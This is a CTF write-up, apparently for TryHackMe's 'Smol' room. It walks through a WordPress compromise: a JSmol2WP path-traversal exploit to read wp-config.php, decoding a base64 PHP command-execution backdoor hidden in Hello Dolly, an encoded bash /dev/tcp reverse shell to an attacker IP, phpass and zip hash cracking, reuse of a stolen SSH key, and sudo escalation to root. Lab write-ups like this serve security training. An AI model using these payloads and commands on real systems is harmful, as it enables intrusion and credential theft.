Time to CTF.

We'll start by setting our target IP as an environment variable:

export TARGET_IP=10.144.156.69
echo "$TARGET_IP"

Let's see what rustscan can scrounge up:

rustscan -a "$TARGET_IP" \
--ulimit 5000 \
--batch-size 1000 \
--timeout 3000 \
-- -Pn -sC -sV -oN smol-initial.nmap
RustScan discovering SSH on port 22 and HTTP on port 80 Nmap service enumeration showing OpenSSH, Apache, and the www.smol.thm redirect

Let's add the target IP and hostnames to /etc/hosts.

The typical Kali method is:

sudo nano /etc/hosts

Add:

10.144.156.69 www.smol.thm smol.thm

Save and exit.

A quick verification that it resolves:

getent hosts www.smol.thm
curl -I http://www.smol.thm
Hostname resolution and HTTP response verification for www.smol.thm

Port 80 is our best path forward. Let's pay it a visit:

AnotherCTF WordPress homepage on the Smol target

We're looking at WordPress enumeration, kids.

AnotherCTF page identifying the site administrator and WordPress platform

Specifically, plugin enumeration.

Let's do a manual check, then dig into their WordPress architecture.

curl -s http://www.smol.thm |
grep -Eo '/wp-content/(plugins|themes)/[^/"?]+' |
sort -u
Manual enumeration discovering the JSmol2WP plugin and Twenty Twenty-Three theme

I think it's the smol one because, well, the room name.

wpscan \
--url http://www.smol.thm \
--enumerate ap,at,u \
--plugins-detection aggressive \
--random-user-agent \
-o smol-wpscan.txt

While WPScan runs, let's give the manual plugin search its due and investigate the plugin metadata:

curl -s \
http://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt |
sed -n '1,160p'
JSmol2WP readme showing plugin metadata and version 1.07

This output is long. Here's the rest of it:

─(jenn㉿local)-[~]
└─$ curl -s \
http://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt |
sed -n '1,160p'
=== JSmol2WP ===
Contributors: Jim Hu
Tags: shortcodes, JSmol, Jmol, molecular graphics, PDB
Requires at least: 3.0
Tested up to: 4.9.4
Donate link:http://biochemistry.tamu.edu/index.php/alum/giving/
Stable tag: 1.07
License: GPLv2 or later
License URI: http://www.gnu.org/licenses/gpl-2.0.html
Text domain:jsmol2wp
Domain path:/languages/

Plugin to place JSmol molecular graphics applets in Wordpress posts or pages.

== Description ==
This shortcode plugin places JSmol applets in WordPress posts and pages.

Use [jsmol pdb='accession'] for a minimal version. jsmol2wp will look to see if a pdb file has been uploaded to your wordpress and it will use that file if it can find it. If it can't find a matching post for an uploaded attachement, it will try <a href='http://rcsb.org/pdb'>http://rcsb.org/pdb</a>. If it can't find a match there either, you'll get an error message in the JSmol window. Additional information on optional parameters are at the About/Help link in the applets.

This plugin was developed for use on the website for the Department of Biochemistry and Biophysics
at Texas A&M University (http://biochemistry.tamu.edu).

== Installation ==
Place in the plugins directory and activate. No additional files or configurations are needed.

Thanks to Bob Hanson and the JMol team for making the javascript code for jsmol available. See: 

http://chemapps.stolaf.edu/jmol/jsmol
http://wiki.jmol.org/index.php/Jmol_JavaScript_Object

This plugin also benefited from using Jaime Prilusky's mediawiki extension for inspiration
http://proteopedia.org/support/JSmolExtension/
== Upgrade Notice ==
Version 1.03 updates the Jmol libraries and fixes a bug with the load parameter
== Frequently Asked Questions ==
= Is there an example of an installation? =
See http://jimhu.org/jsmol2wp-plugin-released-at-wordpress-org/
= Where can I learn more about what JSmol can do? =
Jmol documentation can be found at http://jmol.sourceforge.net/#Learn%20to%20use%20Jmol and http://jmol.sourceforge.net/docs/JmolUserGuide/
== Screenshots ==
1. Applet for a protein. 
2. Applet for a small molecule.

== Changelog ==
= 1.07 =
fix extremely stupid svn error where needed files from the j2s directory were not in the repo
= 1.06 =
change rcsb file path to avoid redirect
= 1.05 =
load rcsb pdb files via https instead of http
= 1.04 =
* updated jsmol package from Jmol sourceforge
* first attempt at internationalization
** Added idioma directory from jsMol distributions
** Added set language directive based on wordpress get_locale()
= 1.03 =
* updated jsmol package from Jmol sourceforge
* Remove beta from help.htm
* fix bug where load param was not working
= 1.02 =
* fixes to this readme.txt file to improve the display at the wordpress.org plugin repository
= 1.01 =
* tweaks for wordpress.org deposition
= 1.0 =
* update JSmol code to 14.3.12_2015.01.28
* prepare for release to wordpress.org plugin repository
= 0.94 beta =
* add isosurface support
* rewrite the code to set up structure loading
* replace WP get_page_by_title with a function that matches the filename
* add jvxl to file types
* fixed bug where caption nonmatching required casting match as a string.
* move the help demo page to a more stable URL.
= 0.93 beta =
* set default type based on fileurl extension if present
* fix bug where reset button failed with data from fileurl
= 0.92 beta =
* change appletID to not require $acc.
= 0.9 beta =
* improve help page
* improve uniqueness identifiers for multiple Jmolapplets on the same post/page; add the option to hand code instances
* improve debug messages (or at least change them)
* make reset button standard and have it remember the load commands
* standard buttons depend on the type of molecule loaded.
* add some semicolons to the template to try to fix lint warnings: http://www.javascriptlint.com/online_lint.php
= 0.8 beta =
* removed data directory
* changed system for counting instances of the shorttag so we don't need preg_match
* removed whitespace from template hoping that solves the problem of themes adding markup
* simplified load script as suggested by Bob Hansen
* made applet IDs more unique by appending post id
= 0.7 beta =
* update jsmol libraries to 4.1.7_2014.06.09
* add dependencies for jquery-ui-core and jquery-ui-menu fixes popup problem in some themes
* refactor to support additional file types (in progress)
* fix multiline regex bug
* fix bug that caused failure to load when permalinks used ?p=post_number format
* debug constructor
*  debug view
..* add path to uploaded file
..* add test for get_page_by_title
= 0.6 alpha =
* register script before enqueueing it.
* added ability to add Jmol.script commands
* added the ability to add jmolCommandInput
= 0.5 alpha = 
* added wrap and debug options
= 0.4 alpha =
* changed to nojq.
* modified command processing to not split on allowed characters in Jmol syntax.
= 0.3 alpha =
* changed default to spin off in order to save client cpu
* custom command buttons working.
= 0.2 alpha =
* changed system to use a template based on the distro file simple1.htm. 
* added captioning
* works with local or remote pdb files from rcsb.org/pdb
= 0.1 pre-alpha =
* basic shortcode working with uploaded pdb file
* adds .pdb chemical/pdb mime type to allowed mime types
* handles multiple shortcodes on the same page

Let's check SearchSploit:

searchsploit jsmol2wp

No SearchSploit results.

Let's check the plugin directory, too.

curl -I http://www.smol.thm/wp-content/plugins/jsmol2wp/
SearchSploit returning no JSmol2WP results while the plugin directory responds successfully

No SearchSploit hit only means it's not indexed under that name in Exploit-DB.

Let's do a vulnerability lookup for this specific version and plugin.

Aha! Google to the rescue with a vulnerability:

https://nvd.nist.gov/vuln/detail/CVE-2018-20463

We found the vulnerability: CVE-2018-20463, an unauthenticated arbitrary-file-read/path-traversal flaw in JSmol2WP 1.07. The vulnerable endpoint accepts a file path through its query parameter. NVD confirms the vulnerability, and the verified ProjectDiscovery template provides the request structure.

Let's use it to read WordPress’s configuration:

curl -sG \
'http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php' \
--data-urlencode 'isform=true' \
--data-urlencode 'call=getRawDataFromDatabase' \
--data-urlencode 'query=php://filter/resource=../../../../wp-config.php' \
-o smol-wp-config.txt

Why four ../ sequences? They walk from the plugin’s php directory back to the WordPress root aka where wp-config.php lives.

Now we take a look:

sed -n '1,220p' smol-wp-config.txt
WordPress configuration recovered through JSmol2WP with the database password redacted Remaining WordPress configuration recovered through the JSmol2WP file-read vulnerability

We got our username and password:

Username: [REDACTED]
Password: [REDACTED]

These are database credentials, so not automatically Windows or Linux creds. DB_HOST=localhost tells us WordPress connects to MySQL locally.

Let's go try the credentials here, and see if they're both database and login credentials:

http://www.smol.thm/wp-login.php
Authenticated WordPress administrator dashboard showing the Hello Dolly clue

Credential reuse confirmed!

I'm not sure why, but the dashboard handed us a beautifully unsubtle clue:

Well, hello, Dolly

That's a nod to WordPress's Hello Dolly plugin and, I'm assuming, the musical. That's probably our backdoor hinted at in the room description.

Let's use the JSmol2WP file-read vuln to inspect its source:

curl -sG \
'http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php' \
--data-urlencode 'isform=true' \
--data-urlencode 'call=getRawDataFromDatabase' \
--data-urlencode 'query=php://filter/resource=../../hello.php' \
-o smol-hello.php

And to read it...

sed -n '1,260p' smol-hello.php

Weaponized musical theatre. Dang.

Recovered Hello Dolly plugin source showing its normal plugin code Hello Dolly plugin source containing an added Base64-decoded eval call

This is definitely our path to a backdoor shell.

Let's decode what's in there:

printf '%s' \
'CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA=' |
base64 -d

We decoded one layer of camouflage.

Decoded PHP backdoor using an obfuscated cmd query parameter

The escaped characters are:

\143  → c
\155  → m
\x64  → d

And...

\143  → c
\x6d  → m
\144  → d

Both hidden strings decode to cmd, leaving us with:

if (isset($_GET["cmd"])) {
    system($_GET["cmd"]);
}

Let's test it in-browser:

http://www.smol.thm/wp-admin/?cmd=id
Authenticated browser command execution returning the www-data identity

Let me zoom in for you:

Closer view of command execution as www-data in the WordPress dashboard

We have remote code execution as:

uid=33(www-data) gid=33(www-data)

Our chain so far:

JSmol2WP file read
> wp-config.php
> reused WordPress credentials
> backdoored Hello Dolly plugin
> command execution as www-data

Next we’ll turn the one-command web backdoor into an interactive shell.

Pop open a new terminal, and grab your box's IP:

ip -4 -br addr show tun0

Then start our listener:

rlwrap nc -lvnp 4444

With the listener still running on port 4444, we'll put the second working method into our authenticated browser:

http://www.smol.thm/wp-admin/?cmd=echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjEyOC44My80NDQ0IDA%2BJjE%3D%7Cbase64%20-d%7Cbash

And turn our eyes back to the listener:

Reverse-shell callback received from the Smol target
id
Interactive shell verifying execution as www-data
whoami
hostname
pwd
Shell enumeration showing the www-data user, hostname, and WordPress working directory

Let's enumerate users in the home directory...

ls -la /home

...and give our shell a PTY:

python3 -c 'import pty; pty.spawn("/bin/bash")'
Home-directory enumeration followed by a Python PTY upgrade

We're going after the MySQL database.

These lines we discovered earlier + the DB credentials light the way:

define('DB_NAME', 'wordpress');
define('DB_USER', '[REDACTED]');
define('DB_PASSWORD', '[REDACTED]');
define('DB_HOST', 'localhost');
mysql -u wpuser -p -h localhost wordpress
MySQL login prompt from the www-data reverse shell

Username: [REDACTED] Password: [REDACTED]

Wow. The password echoed in our reverse-shell terminal instead of staying hidden. Not ideal.

Successful MySQL login with the echoed database password redacted

Let's run this at the mysql prompt:

SELECT ID,user_login,user_pass FROM wp_users;
WordPress usernames and phpass password hashes queried from the database

John o’clock. Those $P$ values are phpass WordPress hashes, and the usernames align beautifully with the Linux home directories.

Bow out of mysql:

exit;

From our target shell, create a clean username:hash export:

mysql -u wpuser -p -h localhost wordpress -N -B \
-e "SELECT CONCAT(user_login, ':', user_pass) FROM wp_users;" \
> /tmp/smol-hashes.txt
WordPress hash export with the echoed database password redacted

Now we verify it:

cat /tmp/smol-hashes.txt

Over to our Kali terminal, make a file for the hashes:

nano smol-hashes.txt

Paste our lovely usernames:hashes, then save and exit:

admin:$P$BH.CF15fzRj4li7nR19CHzZhPmhKdX.
wpuser:$P$BfZjtJpXL9gBwzNjLMTnTvBVh2Z1/E.
think:$P$BOb8/koi4nrmSPW85f5KzM5M/k2n0d/
gege:$P$B1UHruCd/9bGD.TtVZULlxFrTsb3PX1
diego:$P$BWFBcbXdzGrsjnbc54Dr3Erff4JPwv1
xavi:$P$BB4zz2JEnM2H3WE2RHs3q18.1pvcql1
WordPress usernames and hashes prepared in a local file for John the Ripper

Since John can be slow with phpass involved, I tried running two Johns in parallel.

Battle of the Johns: Commence!

John 1:

john --format=phpass \
--wordlist=/usr/share/wordlists/rockyou.txt \
smol-hashes.txt

John 2:

john \
--session=smol \
--format=phpass \
--wordlist=/usr/share/wordlists/rockyou.txt \
--fork=4 \
smol-hashes.txt

Two pro John tips while they run:

  1. We can press any key in John's terminal to show progress.
  2. We can check recovered passwords from another Kali terminal with:
john --show --format=phpass smol-hashes.txt

We can pause John 2 with CTRL + C and resume the named session later with:

john --restore=smol

Let's check in on John 2:

John the Ripper status showing slow progress across four forked processes

This is SLOW. Both Johns are working through the same wordlist against the same six separately salted phpass hashes. Running them together does not split the work. It just makes them fight over the CPU.

We only need one Linux-backed account. Let's stop both Johns with CTRL + C and give John one hash to crack:

grep '^diego:' smol-hashes.txt > diego.hash

Then we'll give John just diego to start:

john \
--session=diego \
--format=phpass \
--wordlist=/usr/share/wordlists/rockyou.txt \
--fork=4 \
diego.hash

And then, of course, Diego's password appears almost immediately afterward in Slow John #2:

John the Ripper recovering Diego's password with the password redacted

We already have a shell on the target, so we'll switch users locally:

su - diego
Successful switch from www-data to Diego with the password redacted

WE ARE DIEGO!

id
groups
pwd
ls -la ~
Diego account enumeration showing membership in the internal group

Oh yeah.

cat ~/user.txt
User flag recovered as Diego with the flag redacted

We got the user flag.

It's PrivEsc time:

sudo -l

Nope. Can't do that. Let's check diego's groups:

Diego account and home-directory details with the earlier password redacted

Let's use the shared internal group to check the other users:

ls -la /home/{think,gege,xavi}
Permissions across the Think, Gege, and Xavi home directories

Two strong leads:

  • /home/gege/wordpress.old.zip is interesting, but its permissions are root:gege 750. Diego cannot read it yet. Darn.
  • /home/think/.ssh is accessible enough to list, and just became our next lead.
ls -la /home/think/.ssh

And see what diego can read:

find /home/think/.ssh \
-maxdepth 1 -type f -readable -ls 2>/dev/null
World-readable SSH private key discovered in Think's home directory

That private key is dangerously misconfigured: 755 makes it readable by everyone.

OpenSSH will reject a private key with permissions that open, so we'll make Diego a protected copy...

cp /home/think/.ssh/id_rsa /tmp/think_id_rsa
chmod 600 /tmp/think_id_rsa

...and use it from inside our target:

ssh -i /tmp/think_id_rsa think@localhost
Successful SSH login to the Think account using the exposed private key
id
whoami
pwd
Think account identity and working-directory verification

This new group is our clue:

groups=think,dev,internal

Let's check think's privileges:

sudo -n -l
ls -la ~

No passwordless sudo permissions for think.

Think account permissions and home-directory enumeration

Let's see why he belongs to dev:

find /home /opt /usr/local /var/www \
-group dev -ls 2>/dev/null

Let's see what think can modify:

find /home /opt /usr/local /var/www \
-group dev -writable -ls 2>/dev/null
Search for files owned by or writable to the dev group

We'll check the group membership:

getent group dev
getent group internal
getent passwd gege
Group membership connecting Think and Gege through the dev group

Much clearer group relationship now:

dev:      think, gege
internal: diego, gege, think, xavi

John also recovered gege's WordPress password. Let's see if it works for the local account:

su - gege
Successful switch from Think to Gege

WE ARE GEGE.

Let's get it:

id
ls -la ~
file ~/wordpress.old.zip
unzip -l ~/wordpress.old.zip | head -n 50
Gege account enumeration revealing the old WordPress ZIP archive Contents of the old WordPress installation inside the ZIP archive

Holy WordPress.

That archive contains an entire old WordPress installation. wp-config.php immediately grabs my eye.

Let’s transfer the archive to Kali so zip2john can process through it.

New Kali terminal time:

nc -lvnp 5555 > wordpress.old.zip

From gege's shell:

nc -N 192.168.128.83 5555 < ~/wordpress.old.zip

Once the transfer is done, hash the original from gege's shell:

sha256sum ~/wordpress.old.zip

Then verify the Kali copy:

ls -l wordpress.old.zip
sha256sum wordpress.old.zip
WordPress archive transfer and SHA-256 verification

The hashes match.

On Kali:

zip2john wordpress.old.zip > wordpress-old.hash

And now we crack it:

john \
--session=wordpress-zip \
--wordlist=/usr/share/wordlists/rockyou.txt \
wordpress-old.hash
John the Ripper cracking the WordPress ZIP password with the password redacted

Score. ZIP Password.

john --show wordpress-old.hash
John show output for the WordPress ZIP with the password redacted
mkdir -p wordpress-old-extracted

unzip wordpress.old.zip \
-d wordpress-old-extracted

We'll inspect the historical database credentials with hope and shreds of dignity left:

grep -nE 'DB_(NAME|USER|PASSWORD|HOST)' \
wordpress-old-extracted/wordpress.old/wp-config.php
Historical WordPress database credentials with Xavi's password redacted

There’s our next lateral-movement credential:

Username: xavi
Password: [REDACTED]

Return to the target shell, where we are currently gege, and switch users:

su - xavi

Now we're xavi.

Successful switch from Gege to Xavi with the password redacted

Let's run the usual suspects:

id
whoami
pwd

Now we can actually check Xavi's privileges:

sudo -l
Sudo permissions granting Xavi unrestricted command execution

(ALL : ALL) ALL. Xavi can run anything through sudo.

Now we run:

sudo -i

Enter [REDACTED] when prompted.

WE ARE ROOT.

Let's bring it home:

whoami
cat /root/root.txt
Root shell and root flag with the flag redacted

Cue the MF confetti.

TryHackMe Smol room completion screen
JSmol2WP file read
> exposed wp-config.php
> WordPress login
> backdoored Hello Dolly
> www-data shell
> WordPress database hashes
> Diego’s cracked WordPress password reused locally
> Think’s exposed SSH key
> Gege’s cracked WordPress password reused locally
> encrypted WordPress backup
> Xavi’s old database credentials reused locally
> unrestricted sudo
> root